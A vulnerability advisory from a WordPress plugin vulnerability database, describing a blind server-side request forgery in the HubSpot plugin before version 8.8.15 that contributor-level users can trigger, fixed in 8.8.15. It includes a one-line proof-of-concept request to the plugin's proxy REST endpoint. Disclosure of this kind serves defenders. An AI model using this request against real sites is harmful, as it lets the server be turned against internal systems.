WordPress Plugin Vulnerabilities
HubSpot < 8.8.15 - Contributor+ Blind SSRF
Description
The plugin does not validate the proxy URL given to the proxy REST endpoint, which could allow users with the edit_posts capability (by default contributor and above) to perform SSRF attacks
Proof of Concept
As an authenticated user with the edit_posts capability, get REST nonce via https://example.com/wp-admin/admin-ajax.php?action=rest-nonce https://example.com/wp-json/leadin/v1/[email protected]&_wpnonce=8aaf916bd9
Affects Plugins
Fixed in version 8.8.15
References
Classification
Miscellaneous
Original Researcher
Brandon Roldan
Submitter
Brandon Roldan
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-04-11 (about 11 months ago)
Added
2022-04-11 (about 11 months ago)
Last Updated
2022-04-13 (about 11 months ago)